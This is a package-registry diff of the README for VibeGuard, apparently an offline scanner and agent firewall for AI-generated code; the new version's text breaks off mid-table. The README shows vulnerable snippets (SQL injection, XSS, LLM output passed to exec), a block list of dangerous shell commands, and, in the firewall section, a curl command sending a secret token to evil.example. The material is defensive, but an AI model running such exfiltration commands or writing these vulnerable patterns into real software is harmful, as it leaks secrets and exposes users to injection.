@yagyeshvyas/vibeguard 1.1.0 → 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,500 +1,565 @@
1
- <div align="center">
2
-
3
- <!-- Animated logo / banner -->
4
- <img src="website/banner.svg" alt="VibeGuard" width="480" />
5
-
6
- ### Scan your AI-generated app for leaked keys, open databases, and injection holes in 5 seconds. 100% offline, free forever.
7
-
8
- <!-- Badges -->
9
- <p>
10
- <a href="https://www.npmjs.com/package/@yagyeshvyas/vibeguard"><img src="https://img.shields.io/npm/v/@yagyeshvyas/vibeguard?style=flat-square&logo=npm&logoColor=white" alt="npm version" /></a>
11
- <a href="https://github.com/yagyeshVyas/VibeGuard/actions"><img src="https://img.shields.io/github/actions/workflow/status/yagyeshVyas/VibeGuard/ci.yml?style=flat-square&logo=github&logoColor=white" alt="CI" /></a>
12
- <a href="LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue?style=flat-square" alt="MIT license" /></a>
13
- </p>
14
-
15
- <!-- Demo GIF -->
16
- <img src="website/demo.gif" alt="VibeGuard scan demo" width="640" />
17
-
18
- <br/>
19
- <sub>Captured against a test project with a planted <code>sk_live</code> Stripe key.</sub>
20
-
21
- ---
22
-
23
- <!-- Quick install command -->
24
- <a href="https://www.npmjs.com/package/@yagyeshvyas/vibeguard"><code>npx @yagyeshvyas/vibeguard scan</code></a>
25
-
26
- [Features](#what-it-catches) &bull; [Quick Start](#quick-start) &bull; [Benchmark](#benchmark) &bull; [Commands](#commands) &bull; [Website](https://vibe-guard-site-ivory.vercel.app/) &bull; [Docs](https://github.com/yagyeshVyas/VibeGuard/wiki)
27
-
28
- </div>
29
-
30
- <!-- Anchor target for the badge link -->
31
- <a id="license"></a>
32
-
33
- ---
34
-
35
- ```
36
- $ npx @yagyeshvyas/vibeguard scan
37
-
38
- VibeGuard security scan
39
- ./my-app
40
-
41
- CRITICAL api/route.ts:3 [secret.openai-key]
42
- OpenAI API key hardcoded in server code
43
- fix: Move to environment variable.
44
-
45
- HIGH db/query.ts:5 [taint.sql-injection]
46
- User input flows into SQL query via template literal (dataflow-confirmed)
47
- fix: Use parameterized queries / prepared statements.
48
-
49
- HIGH app/page.jsx:8 [taint.xss-dom]
50
- User input from URLSearchParams reaches innerHTML — DOM XSS
51
- fix: Use textContent instead of innerHTML. Sanitize with DOMPurify if needed.
52
-
53
- Grade D (12 files) 1 critical 3 high 2 medium 1 low
54
-
55
- Run vibeguard fix to auto-fix 4 issues
56
- ```
57
-
58
- ---
59
-
60
- ## Quick Start
61
-
62
- ```bash
63
- npx @yagyeshvyas/vibeguard scan
64
- ```
65
-
66
- Or one-command full protection (daemon + hooks + shell guard):
67
-
68
- ```bash
69
- npx @yagyeshvyas/vibeguard auto # full protection on
70
- npx @yagyeshvyas/vibeguard auto --stop # turn it off
71
- ```
72
-
73
- ### Wire into Claude Code
74
-
75
- ```bash
76
- claude mcp add vibeguard -- npx @yagyeshvyas/vibeguard mcp
77
- ```
78
-
79
- ### Wire into Cursor / Windsurf
80
-
81
- Add to your MCP config:
82
- ```json
83
- { "mcpServers": { "vibeguard": { "command": "npx", "args": ["@yagyeshvyas/vibeguard", "mcp"] } } }
84
- ```
85
-
86
- ---
87
-
88
- ## What It Catches
89
-
90
- **Leaked Stripe key in client code**
91
- ```js
92
- const key = "sk_live_51H8x..."; // anyone with devtools can issue refunds
93
- ```
94
- VibeGuard flags 50+ secret types — OpenAI, AWS, GitHub, Stripe, Slack, Firebase — and tells you to move them to `process.env`.
95
-
96
- **Supabase database open to the world**
97
- ```sql
98
- create table posts ( ... ); -- no RLS — anyone can read/write all rows
99
- ```
100
- Detects missing RLS, fake RLS policies (`USING (true)`), and service-role keys in client components.
101
-
102
- **SQL injection via template literal**
103
- ```js
104
- db.query(`SELECT * FROM users WHERE id = ${req.body.id}`);
105
- ```
106
- AST taint analysis traces `req.body.id` through template literals to `query()` — confirmed dataflow, not a regex guess.
107
-
108
- **Prompt injection in system prompt**
109
- ```js
110
- { role: "system", content: "You are " + req.body.prompt }
111
- ```
112
- Catches user input injected into the system role — the root cause of most prompt injection attacks.
113
-
114
- **`dangerouslySetInnerHTML` with request data**
115
- ```jsx
116
- <div dangerouslySetInnerHTML={{__html: req.body.html}} />
117
- ```
118
- Flags XSS sinks across React, Vue (`v-html`), Angular (`innerHTML`), and raw `innerHTML` / `outerHTML` / `insertAdjacentHTML`.
119
-
120
- **AI agent loop without iteration cap**
121
- ```js
122
- while (true) { await agent.step(); }
123
- ```
124
- Detects uncapped agent loops — infinite API spend, resource exhaustion.
125
-
126
- **Hardcoded JWT secret**
127
- ```js
128
- jwt.sign(payload, "mysecret123"); // token forgery
129
- ```
130
- Catches hardcoded session secrets, JWT keys, and credentials in config files, Dockerfiles, and Kubernetes secrets.
131
-
132
- **Shell command from LLM output**
133
- ```js
134
- const completion = await openai.chat.completions.create({...});
135
- exec(completion.choices[0].message.content); // RCE via prompt injection
136
- ```
137
- Only scanner that detects LLM output reaching `exec`, `eval`, SQL queries, and DOM sinks.
138
-
139
- ---
140
-
141
- ## `vibeguard auto` — One Command Full Protection
142
-
143
- ```bash
144
- vibeguard auto # activates everything
145
- vibeguard auto --status # see what's active
146
- vibeguard auto --stop # reverse everything, restore backups
147
- ```
148
-
149
- | Layer | What it does |
150
- |-------|-------------|
151
- | Daemon | Watches files, auto-scans on every change (300ms debounce) |
152
- | Pre-commit hook | Blocks git commits on critical findings |
153
- | Post-edit hook | Auto-scans files after AI agent edits them |
154
- | Shell guard | Blocks dangerous commands (`rm -rf`, `sudo`, `curl\|sh`) before execution |
155
-
156
- All state in `.vibeguard/auto.json`. Idempotent — safe to run twice. `--stop` restores everything byte-for-byte.
157
-
158
- Flags: `--ci` (pipeline mode, exit non-zero on critical), `--fix` (apply safe auto-fixes), `--no-shell`, `--strict`.
159
-
160
- ---
161
-
162
- ## Confidence + Inline Suppression
163
-
164
- Every finding has a confidence level:
165
-
166
- | Confidence | Meaning |
167
- |------------|---------|
168
- | `high` | Dataflow-confirmed — input traced to sink via AST |
169
- | `medium` | Multi-signal regex with validation logic |
170
- | `low` | Bare regex match — heuristic hint |
171
-
172
- ```bash
173
- vibeguard scan --min-confidence medium # hide low-confidence hints (default)
174
- vibeguard scan --all # show everything
175
- ```
176
-
177
- Suppress inline with a reason:
178
-
179
- ```js
180
- const key = "sk_live_..."; // vibeguard-ignore[secret.stripe-live-key]: test fixture
181
- ```
182
-
183
- ---
184
-
185
- ## Coverage & Limits
186
-
187
- Detection depth is **not uniform across languages** — be honest about what you're getting:
188
-
189
- | Language | Secrets / patterns | Dataflow taint | Engine |
190
- |----------|:---:|:---:|--------|
191
- | JavaScript / TypeScript | ✅ | ✅ interprocedural + cross-file | AST (acorn) |
192
- | Python | ✅ | ⚠️ heuristic (line-proximity, single-file) | regex |
193
- | Go | ✅ | ⚠️ targeted rules (e.g. `fmt.Sprintf` SQL) | regex |
194
- | Java / PHP / Ruby / C# / Rust | ✅ | ❌ pattern-only | regex |
195
-
196
- **Engine modes.** Full precision needs the optional `acorn` parser. Without it VibeGuard runs `regex-only` and says so loudly on every scan:
197
-
198
- ```
199
- ⚠ engine: regex-only — acorn not installed, AST/taint precision disabled.
200
- ```
201
-
202
- Install precision: `npm i -D acorn acorn-walk acorn-typescript`.
203
-
204
- **Fail-loud, never fail-silent.** If any analysis pass errors or a file fails to parse, VibeGuard reports degraded coverage instead of pretending the scan was clean:
205
-
206
- ```
207
- ⚠ degraded coverage: 2 file(s) not fully analyzed [passes: ast, taint].
208
- ```
209
-
210
- Use `vibeguard scan --strict` to make a degraded scan a hard failure (exit 3) in CI.
211
-
212
- **Fast modes.** `--changed` rescans only files changed since the last scan (SHA-256 cache; ~100×+ faster warm re-scans). `--staged` scans only git-staged files — ideal for a pre-commit hook. Both are per-file (cross-file analysis skipped; run a full scan for that). `--no-suppress` ignores inline `vibeguard-ignore` comments and the heuristic FP filter for a CI trust gate.
213
-
214
- **The shell guard is a mistake-catcher, not a sandbox.** It normalizes common obfuscation (base64, `$IFS`, variable indirection, quote-splitting) and blocks accidental / AI-generated dangerous commands. A determined adversary who knows the patterns can still evade it — it is not sandbox-escape prevention.
215
-
216
- ---
217
-
218
- ## Benchmark
219
-
220
- Measured against a curated corpus of 121 files (90 vuln + 31 clean). Not a vanity number.
221
-
222
- <!-- BENCHMARK:START -->
223
- <!-- Auto-generated by `npm run benchmark` — do not edit manually -->
224
-
225
- ## Summary
226
-
227
- | Category | TP | FP | FN | Precision | Recall | F1 |
228
- |----------|----|----|----|-----------|--------|----|
229
- | injection | 43 | 5 | 6 | 89.6% | 87.8% | 88.7% |
230
- | secrets | 19 | 7 | 2 | 73.1% | 90.5% | 80.9% |
231
- | xss | 16 | 0 | 1 | 100.0% | 94.1% | 97.0% |
232
- | path-traversal | 9 | 1 | 1 | 90.0% | 90.0% | 90.0% |
233
- | ai-safety | 8 | 2 | 6 | 80.0% | 57.1% | 66.7% |
234
- | **OVERALL** | **95** | **15** | **16** | **86.4%** | **85.6%** | **86.0%** |
235
-
236
- ## Per-Category Details
237
-
238
- ### injection
239
-
240
- | File | Rule ID | Verdict |
241
- |------|---------|---------|
242
- | sql-concat.js | `code.sql-injection` | TP |
243
- | sql-concat.js | `taint.sql-injection` | TP |
244
- | sql-concat2.js | `code.sql-injection` | TP |
245
- | sql-concat2.js | `taint.sql-injection` | TP |
246
- | sql-concat3.js | `code.sql-injection` | TP |
247
- | sql-template.js | `db.sql-template-literal` | TP |
248
- | sql-template.js | `taint.sql-injection` | FN |
249
- | sql-template2.js | `db.sql-template-literal` | FN |
250
- | sql-template2.js | `taint.sql-injection` | TP |
251
- | sql-template3.js | `db.sql-template-literal` | TP |
252
- | sql-template3.js | `taint.sql-injection` | FN |
253
- | sql-raw-rb.js | `code.sql-injection` | TP |
254
- | sql-raw2.js | `db.sql-template-literal` | TP |
255
- | sql-knex.js | `code.sql-injection` | TP |
256
- | sql-knex.js | `mikroorm.identifier-from-request` | FP |
257
- | sql-sequelize.js | `code.sql-injection` | TP |
258
- | sql-fstring.py | `py.sql-injection` | TP |
259
- | sql-fstring2.py | `py.sql-injection` | TP |
260
- | sql-py-concat.py | `py.sql-injection` | FN |
261
- | sql-sprintf.go | `go.sql-fmt-sprintf` | TP |
262
- | sql-sprintf.go | `go.sql-injection` | FP |
263
- | sql-sprintf2.go | `go.sql-fmt-sprintf` | TP |
264
- | sql-sprintf2.go | `go.sql-injection` | FP |
265
- | sql-kotlin.kt | `kotlin.sql-injection` | TP |
266
- | sql-csharp.cs | `csharp.sql-injection` | TP |
267
- | cmd-concat.js | `taint.command-injection` | TP |
268
- | cmd-concat.js | `ast.command-injection` | TP |
269
- | cmd-template.js | `taint.command-injection` | TP |
270
- | cmd-template.js | `ast.command-injection` | TP |
271
- | cmd-concat2.js | `taint.command-injection` | TP |
272
- | cmd-concat2.js | `ast.command-injection` | TP |
273
- | cmd-spawn.js | `taint.command-injection` | FN |
274
- | cmd-py.py | `py.os-system` | TP |
275
- | cmd-py2.py | `py.subprocess-shell-true` | TP |
276
- | cmd-py3.py | `py.os-system` | TP |
277
- | cmd-go.go | `go.command-injection` | TP |
278
- | eval-input.js | `ast.eval-dynamic` | TP |
279
- | eval-template.js | `ast.eval-dynamic` | TP |
280
- | eval-template.js | `taint.code-injection` | FP |
281
- | eval-new-function.js | `ast.function-constructor` | TP |
282
- | eval-new-function.js | `ast.mass-assignment` | FP |
283
- | nosql.js | `ast.nosql-injection` | TP |
284
- | nosql2.js | `ast.nosql-injection` | TP |
285
- | nosql3.js | `ast.nosql-injection` | TP |
286
- | nosql-where.js | `ast.nosql-injection` | TP |
287
- | proto-poll.js | `injection.prototype-pollution` | TP |
288
- | proto-poll.js | `ast.mass-assignment` | TP |
289
- | proto-poll2.js | `injection.prototype-pollution` | TP |
290
- | proto-poll3.js | `injection.prototype-pollution` | TP |
291
- | ssrf.js | `ast.ssrf` | TP |
292
- | ssrf2.js | `ast.ssrf` | FN |
293
- | ssrf2.js | `taint.ssrf` | TP |
294
- | open-redirect.js | `web.open-redirect` | TP |
295
- | open-redirect2.js | `taint.open-redirect` | TP |
296
-
297
- ### secrets
298
-
299
- | File | Rule ID | Verdict |
300
- |------|---------|---------|
301
- | openai-key.js | `secret.openai-key` | TP |
302
- | openai-key2.js | `secret.anthropic-key` | TP |
303
- | github-token.js | `secret.github-token` | TP |
304
- | github-token2.js | `secret.github-token` | TP |
305
- | github-token2.js | `secret.high-entropy` | FP |
306
- | stripe-key.js | `secret.stripe-live-key` | TP |
307
- | stripe-key.js | `secret.generic-credential` | TP |
308
- | stripe-key.js | `stripe.key-in-client` | FP |
309
- | stripe-restricted.js | `secret.stripe-restricted-key` | TP |
310
- | slack-token.js | `secret.slack-token` | TP |
311
- | gitlab-token.js | `secret.gitlab-token` | TP |
312
- | sendgrid-key.js | `secret.sendgrid-key` | TP |
313
- | npm-token.js | `secret.npm-token` | TP |
314
- | npm-token.js | `secret.high-entropy` | FP |
315
- | gcp-key.js | `secret.gcp-api-key` | FN |
316
- | private-key.js | `secret.private-key` | TP |
317
- | aws-key.js | `secret.aws-access-key` | TP |
318
- | mailgun-key.js | `secret.mailgun-key` | TP |
319
- | mailgun-key.js | `secret.high-entropy` | FP |
320
- | telegram-token.js | `secret.telegram-bot-token` | FN |
321
- | resend-key.js | `secret.resend-key` | TP |
322
- | conn-string.js | `secret.conn-string-password` | TP |
323
- | conn-string.js | `secret.connection-string` | FP |
324
- | generic-secret.js | `secret.generic-credential` | TP |
325
- | docker-build-arg.js | `secret.docker-build-arg` | TP |
326
- | docker-build-arg.js | `ai.key-in-url` | FP |
327
- | env-secret.js | `secret.aws-secret-in-env` | TP |
328
- | env-secret.js | `secret.high-entropy` | FP |
329
-
330
- ### xss
331
-
332
- | File | Rule ID | Verdict |
333
- |------|---------|---------|
334
- | reflected-xss.js | `xss.reflected-response` | TP |
335
- | reflected-xss.js | `taint.xss-reflected` | TP |
336
- | reflected-xss2.js | `xss.reflected-response` | TP |
337
- | reflected-xss2.js | `taint.xss-reflected` | TP |
338
- | reflected-xss3.js | `xss.reflected-response` | TP |
339
- | reflected-xss3.js | `taint.xss-reflected` | TP |
340
- | reflected-xss4.js | `xss.reflected-response` | TP |
341
- | reflected-xss4.js | `taint.xss-reflected` | TP |
342
- | innerhtml.js | `injection.xss-angular-innerHTML` | TP |
343
- | innerhtml.js | `taint.xss-dom` | TP |
344
- | innerhtml2.js | `injection.xss-innerhtml-direct` | TP |
345
- | innerhtml2.js | `taint.xss-dom` | TP |
346
- | dangerously-html.jsx | `react.dangerous-html` | TP |
347
- | dangerously-html2.jsx | `react.dangerous-html` | TP |
348
- | dangerously-html2.jsx | `ai.llm-output-dom` | TP |
349
- | vue-v-html.js | `injection.xss-vue-v-html` | FN |
350
- | eval-llm-output.js | `ai.llm-output-dom` | TP |
351
-
352
- ### path-traversal
353
-
354
- | File | Rule ID | Verdict |
355
- |------|---------|---------|
356
- | read-concat.js | `taint.path-traversal` | TP |
357
- | sendfile.js | `taint.path-traversal` | TP |
358
- | read-template.js | `taint.path-traversal` | TP |
359
- | read-template.js | `ai.tool-broad-file-access` | TP |
360
- | write-concat.js | `taint.path-traversal` | TP |
361
- | unlink-concat.js | `taint.path-traversal` | TP |
362
- | create-read-stream.js | `taint.path-traversal` | TP |
363
- | append-file.js | `taint.path-traversal` | TP |
364
- | path-join-template.js | `taint.path-traversal` | FN |
365
- | path-join-template.js | `upload.filename-path-traversal` | TP |
366
- | allowlist.js | `taint.path-traversal` | FP |
367
-
368
- ### ai-safety
369
-
370
- | File | Rule ID | Verdict |
371
- |------|---------|---------|
372
- | user-in-system-prompt.js | `ai.user-input-in-system-prompt` | TP |
373
- | llm-output-exec.js | `ai.llm-output-exec` | TP |
374
- | llm-output-exec.js | `taint.command-injection` | TP |
375
- | llm-output-exec.js | `ai.llm-output-shell` | FP |
376
- | llm-output-exec.js | `ast.command-injection` | FP |
377
- | agent-loop-no-cap.js | `ai.agent-loop-no-cap` | TP |
378
- | model-id-user-input.js | `ai.model-id-injection` | TP |
379
- | tool-result-injection.js | `ai.tool-result-injection` | FN |
380
- | agent-memory-poison.js | `ai.memory-poisoning` | FN |
381
- | tool-poisoning.js | `ai.tool-poisoning` | TP |
382
- | tool-poisoning.js | `ai.mcp-description-injection-deep` | TP |
383
- | prompt-extraction.js | `ai.prompt-extraction` | FN |
384
- | llm-output-dom.js | `ai.llm-output-dom` | TP |
385
- | agent-deploy.js | `ai.agent-can-deploy` | FN |
386
- | agent-secrets.js | `ai.agent-can-access-secrets` | FN |
387
- | model-id-template.js | `ai.model-id-injection` | FN |
388
-
389
- ## Methodology
390
-
391
- - **True Positive (TP)**: Expected rule fires on a vuln file.
392
- - **False Positive (FP)**: Any finding on a clean file, or an unexpected rule on a vuln file.
393
- - **False Negative (FN)**: Expected rule that did not fire on a vuln file.
394
- - **Precision** = TP / (TP + FP)
395
- - **Recall** = TP / (TP + FN)
396
- - **F1** = 2 * (Precision * Recall) / (Precision + Recall)
397
-
398
- Generated: 2026-07-12T18:25:03.049Z
399
-
400
- <!-- BENCHMARK:END -->
401
-
402
- ---
403
-
404
- ## Commands
405
-
406
- ```bash
407
- vibeguard scan [dir] # scan a project (auto-detects framework)
408
- vibeguard scan --fix # scan + apply safe auto-fixes
409
- vibeguard scan --all # show all findings including low-confidence
410
- vibeguard auto [dir] # full protection (daemon + hooks + shell guard)
411
- vibeguard auto --stop # turn off, restore backups
412
- vibeguard fix [dir] # auto-fix 43 rule types
413
- vibeguard pre-deploy [dir] # 13-gate deployment check
414
- vibeguard mcp # MCP server (for AI client integration)
415
- vibeguard guard "command" # check a shell command before running it
416
- vibeguard install-hook # git pre-commit hook (blocks on critical)
417
- vibeguard install-hook-post # PostToolUse hook (auto-scan AI edits)
418
- ```
419
-
420
- ---
421
-
422
- ## Privacy
423
-
424
- VibeGuard runs entirely on your machine. No telemetry, no analytics, no network calls by default.
425
-
426
- | Command | Network? |
427
- |---------|---------|
428
- | `scan`, `fix`, `auto`, `mcp`, `install` | Never |
429
- | `cve` (package name lookup) | Opt-in, OSV.dev only |
430
- | `url` (header scan) | Opt-in, URL you provide |
431
-
432
- The runtime interceptor adds guardrails that make data exfiltration significantly harder — it wraps `fetch`, `http.request`, `child_process.exec`, and `fs.readFileSync` to block outbound secrets, PII, and sensitive file access. It is not a sandbox escape prevention layer.
433
-
434
- ---
435
-
436
- ## Honest Scope
437
-
438
- VibeGuard catches the mechanical security holes that AI coding tools leave behind. It does **not**:
439
-
440
- - Prove your app is safe or leak-proof
441
- - Track personal data end-to-end through your app
442
- - Judge business logic flaws
443
- - Replace a real security review for anything touching money, auth, or personal data
444
-
445
- It raises the floor fast — catching the holes that AI tools create by default. The benchmark numbers above are honest: 86.0% F1 means it misses ~14% of real issues and produces some false positives. Run `npm run benchmark` to reproduce. Read the per-category details in `test/benchmark/benchmark-results.md` before relying on it.
446
-
447
- ---
448
-
449
- ## Languages
450
-
451
- JavaScript, TypeScript, Python, Go, Java, Ruby, PHP, C#, Rust, Kotlin, Swift, Bash, SQL, YAML. Language-specific rules are gated by file extension — Go rules don't fire on `.js` files.
452
-
453
- ---
454
-
455
- ## CI/CD
456
-
457
- ```bash
458
- vibeguard auto --ci # non-interactive, exit non-zero on critical
459
- vibeguard init-ci # generate GitHub Actions workflow
460
- vibeguard scan --output sarif # SARIF output for GitHub Code Scanning
461
- ```
462
-
463
- Templates included for GitLab CI, Jenkins, CircleCI, Azure Pipelines.
464
-
465
- ---
466
-
467
- ## Development
468
-
469
- ```bash
470
- npm install
471
- npm test # 342 tests
472
- npm run benchmark # precision/recall/F1
473
- npm run counts # verify rule/tool counts match source
474
- npm run lint # 0 errors
475
- ```
476
-
477
- ---
478
-
479
- ## License
480
-
481
- MIT. Free forever. No ads. No tracking. No data collection.
482
-
483
- ---
484
-
485
- <div align="center">
486
-
487
- ## Built by Yagyesh Vyas
488
-
489
- <p>
490
- <a href="https://github.com/yagyeshVyas"><img src="https://img.shields.io/badge/GitHub-yagyeshVyas-181717?style=for-the-badge&logo=github&logoColor=white" alt="GitHub" /></a>
491
- <a href="https://www.linkedin.com/in/yagyeshvyas"><img src="https://img.shields.io/badge/LinkedIn-Yagyesh%20Vyas-0A66C2?style=for-the-badge&logo=linkedin&logoColor=white" alt="LinkedIn" /></a>
492
- <a href="https://www.npmjs.com/~yagyeshvyas"><img src="https://img.shields.io/badge/npm-@yagyeshvyas-CB3837?style=for-the-badge&logo=npm&logoColor=white" alt="npm" /></a>
493
- <a href="https://vibe-guard-site-ivory.vercel.app/"><img src="https://img.shields.io/badge/Website-vibe--guard--site-ivory.vercel.app-000000?style=for-the-badge&logo=vercel&logoColor=white" alt="Website" /></a>
494
- </p>
495
-
496
- Found a bug? [Open an issue](https://github.com/yagyeshVyas/VibeGuard/issues). &bull; Have a question? [Start a discussion](https://github.com/yagyeshVyas/VibeGuard/discussions).
497
-
498
- <sub>&copy; 2026 Yagyesh Vyas. Released under the MIT License.</sub>
499
-
1
+ <div align="center">
2
+
3
+ <img src="website/banner.svg" alt="VibeGuard" width="480" />
4
+
5
+ <h3>Security scanner + AI agent firewall for vibe-coded apps.</h3>
6
+
7
+ <p>
8
+ Scan AI-generated code for leaked keys, SQLi, prompt injection, and uncapped agent loops. 699 rules, AST taint analysis, real-time action firewall. 100% offline. Free forever.
9
+ </p>
10
+
11
+ <p>
12
+ <a href="https://www.npmjs.com/package/@yagyeshvyas/vibeguard"><img src="https://img.shields.io/npm/v/@yagyeshvyas/vibeguard?style=flat-square&logo=npm&logoColor=white" alt="npm version" /></a>
13
+ <a href="https://github.com/yagyeshVyas/VibeGuard/actions"><img src="https://img.shields.io/github/actions/workflow/status/yagyeshVyas/VibeGuard/ci.yml?style=flat-square&logo=github&logoColor=white" alt="CI" /></a>
14
+ <a href="LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue?style=flat-square" alt="MIT license" /></a>
15
+ <img src="https://img.shields.io/badge/coverage-86%25%20F1-success?style=flat-square" alt="86% F1" />
16
+ <img src="https://img.shields.io/badge/rules-699-blue?style=flat-square" alt="699 rules" />
17
+ <img src="https://img.shields.io/badge/MCP%20tools-78-purple?style=flat-square" alt="78 MCP tools" />
18
+ <img src="https://img.shields.io/badge/telemetry-zero-brightgreen?style=flat-square" alt="Zero telemetry" />
19
+ </p>
20
+
21
+ <img src="website/demo.gif" alt="VibeGuard scan demo" width="640" />
22
+
23
+ <br/>
24
+ <sub>Captured against a test project with a planted <code>sk_live</code> Stripe key.</sub>
25
+
26
+ <br/><br/>
27
+
28
+ <a href="https://www.npmjs.com/package/@yagyeshvyas/vibeguard"><code>npx @yagyeshvyas/vibeguard scan</code></a>
29
+
30
+ <br/><br/>
31
+
32
+ <a href="#what-it-catches">Features</a> &bull;
33
+ <a href="#quick-start">Quick Start</a> &bull;
34
+ <a href="#benchmark">Benchmark</a> &bull;
35
+ <a href="#commands">Commands</a> &bull;
36
+ <a href="https://vibe-guard-site-ivory.vercel.app/">Website</a> &bull;
37
+ <a href="#why-vibeguard">Why</a> &bull;
38
+ <a href="#honest-scope">Limits</a>
39
+
40
+ </div>
41
+
42
+ ---
43
+
44
+ ## Why VibeGuard
45
+
46
+ AI coding tools ship fast but skip security. Most devs vibe-code a prototype and forget to harden it. VibeGuard raises the floor — one command, 5 seconds, no account, no telemetry.
47
+
48
+ ```
49
+ $ npx @yagyeshvyas/vibeguard scan
50
+
51
+ VibeGuard security scan
52
+ ./my-app
53
+
54
+ CRITICAL api/route.ts:3 [secret.openai-key]
55
+ OpenAI API key hardcoded in server code
56
+ fix: Move to environment variable.
57
+
58
+ HIGH db/query.ts:5 [taint.sql-injection]
59
+ User input flows into SQL query via template literal (dataflow-confirmed)
60
+ fix: Use parameterized queries / prepared statements.
61
+
62
+ HIGH app/page.jsx:8 [taint.xss-dom]
63
+ User input from URLSearchParams reaches innerHTML — DOM XSS
64
+ fix: Use textContent instead of innerHTML. Sanitize with DOMPurify if needed.
65
+
66
+ Grade D (12 files) 1 critical 3 high 2 medium 1 low
67
+
68
+ Run vibeguard fix to auto-fix 4 issues
69
+ ```
70
+
71
+ ---
72
+
73
+ ## Quick Start
74
+
75
+ ```bash
76
+ npx @yagyeshvyas/vibeguard scan
77
+ ```
78
+
79
+ One-command full protection (daemon + hooks + shell guard):
80
+ ```bash
81
+ npx @yagyeshvyas/vibeguard auto # full protection on
82
+ npx @yagyeshvyas/vibeguard auto --stop # turn it off
83
+ ```
84
+
85
+ ### Wire into Claude Code
86
+ ```bash
87
+ claude mcp add vibeguard -- npx @yagyeshvyas/vibeguard mcp
88
+ ```
89
+
90
+ ### Wire into Cursor / Windsurf
91
+ ```json
92
+ { "mcpServers": { "vibeguard": { "command": "npx", "args": ["@yagyeshvyas/vibeguard", "mcp"] } } }
93
+ ```
94
+
95
+ ---
96
+
97
+ ## What It Catches
98
+
99
+ ### Leaked Stripe key in client code
100
+ ```js
101
+ const key = "sk_live_51H8x..."; // anyone with devtools can issue refunds
102
+ ```
103
+ Flags 50+ secret types — OpenAI, AWS, GitHub, Stripe, Slack, Firebase, GCP, Twilio, SendGrid, npm, Mailgun, Resend, Telegram — and tells you to move them to `process.env`.
104
+
105
+ ### Supabase database open to the world
106
+ ```sql
107
+ create table posts ( ... ); -- no RLS — anyone can read/write all rows
108
+ ```
109
+ Detects missing RLS, fake RLS policies (`USING (true)`), and service-role keys in client components.
110
+
111
+ ### SQL injection via template literal
112
+ ```js
113
+ db.query(`SELECT * FROM users WHERE id = ${req.body.id}`);
114
+ ```
115
+ AST taint analysis traces `req.body.id` through template literals to `query()` — confirmed dataflow, not a regex guess.
116
+
117
+ ### Prompt injection in system prompt
118
+ ```js
119
+ { role: "system", content: "You are " + req.body.prompt }
120
+ ```
121
+ Catches user input injected into the system role — the root cause of most prompt injection attacks.
122
+
123
+ ### `dangerouslySetInnerHTML` with request data
124
+ ```jsx
125
+ <div dangerouslySetInnerHTML={{__html: req.body.html}} />
126
+ ```
127
+ Flags XSS sinks across React, Vue (`v-html`), Angular (`innerHTML`), and raw `innerHTML` / `outerHTML` / `insertAdjacentHTML`.
128
+
129
+ ### AI agent loop without iteration cap
130
+ ```js
131
+ while (true) { await agent.step(); }
132
+ ```
133
+ Detects uncapped agent loops — infinite API spend, resource exhaustion.
134
+
135
+ ### Shell command from LLM output (RCE via prompt injection)
136
+ ```js
137
+ const completion = await openai.chat.completions.create({...});
138
+ exec(completion.choices[0].message.content); // RCE
139
+ ```
140
+ Only scanner that detects LLM output reaching `exec`, `eval`, SQL queries, and DOM sinks.
141
+
142
+ ### Poisoned or rug-pulled MCP server
143
+ ```json
144
+ { "mcpServers": { "helper": { "command": "npx", "args": ["-y", "some-tool", "mcp"] } } }
145
+ ```
146
+ ```bash
147
+ vibeguard mcp-audit # audit every MCP server your agent trusts
148
+ ```
149
+ Flags tool poisoning (prompt injection in tool descriptions), unpinned auto-install (`npx -y` — the server's code can silently change between runs), remote-code commands, secrets in `env`, and **definition drift** — a server whose config changed since you approved it (the classic MCP rug-pull). 100% offline; reads config only, never runs a server.
150
+
151
+ ---
152
+
153
+ ## `vibeguard agent-scan` — "Is my AI-agent setup safe?"
154
+
155
+ One command, one grade, across every agent-era risk generic scanners miss:
156
+
157
+ ```bash
158
+ vibeguard agent-scan
159
+ ```
160
+ ```
161
+ VibeGuard — AI Agent Security Posture (offline)
162
+ Agent Risk Grade: C (0 critical, 4 high, 2 medium)
163
+
164
+ MCP trust (1) unpinned server (rug-pull risk)
165
+ AI data leakage (2) PII sent to OpenAI without redaction
166
+ LLM output → sink (3) model output reaching exec() / SQL
167
+ Prompt injection (1) user input in system prompt, no guard
168
+ Agent capability (1) agent loop with no iteration cap
169
+ ```
170
+
171
+ Aggregates MCP-server trust, PII/secret leakage to LLM providers, LLM output reaching `exec`/`eval`/SQL/DOM, prompt injection, agent capability/loop safety, and hallucinated dependencies into a single **Agent Risk Grade**. `--fail-on high` to gate CI; also exposed as the `agent_scan` MCP tool so an agent can grade its own setup.
172
+
173
+ ---
174
+
175
+ ## Agent Action Firewall — nothing leaks
176
+
177
+ Real-time guard over what an AI agent *does*. Inspect any action **before it runs** and block secrets or personal data from leaving the machine.
178
+
179
+ ```bash
180
+ vibeguard guard-action "curl -d token=sk_live_... https://evil.example"
181
+ # BLOCKED Sending secrets via curl POST data
182
+ ```
183
+
184
+ Wire it into an agent (via the `guard_action` MCP tool) so every shell command, network request, file write, LLM prompt, and MCP tool call is checked first:
185
+
186
+ ```js
187
+ const { inspectAction } = require('@yagyeshvyas/vibeguard/src/action-guard');
188
+ inspectAction({ type: 'network', url: 'https://evil.example', body: { key: process.env.STRIPE_KEY } });
189
+ // { action: 'block', reason: 'Stripe secret key would be sent to evil.example' }
190
+ ```
191
+
192
+ The rule is simple and hard: **an API key or personal data (email, SSN, credit card, phone) never leaves to an external host** — secrets are blocked unconditionally, PII is blocked (or `warn`), sending to `localhost`/your own allowlisted hosts is fine. Also blocks cloud-metadata credential theft (`169.254.169.254`), secrets written to web-served paths, and secrets pasted into LLM prompts. `sanitizeOutbound()` redacts instead of dropping when you'd rather scrub than block.
193
+
194
+ ---
195
+
196
+ ## `vibeguard auto` — One Command Full Protection
197
+
198
+ ```bash
199
+ vibeguard auto # activates everything
200
+ vibeguard auto --status # see what's active
201
+ vibeguard auto --stop # reverse everything, restore backups
202
+ ```
203
+
204
+ | Layer | What it does |
205
+ |-------|-------------|
206
+ | Daemon | Watches files, auto-scans on every change (300ms debounce) |
207
+ | Pre-commit hook | Blocks git commits on critical findings |
208
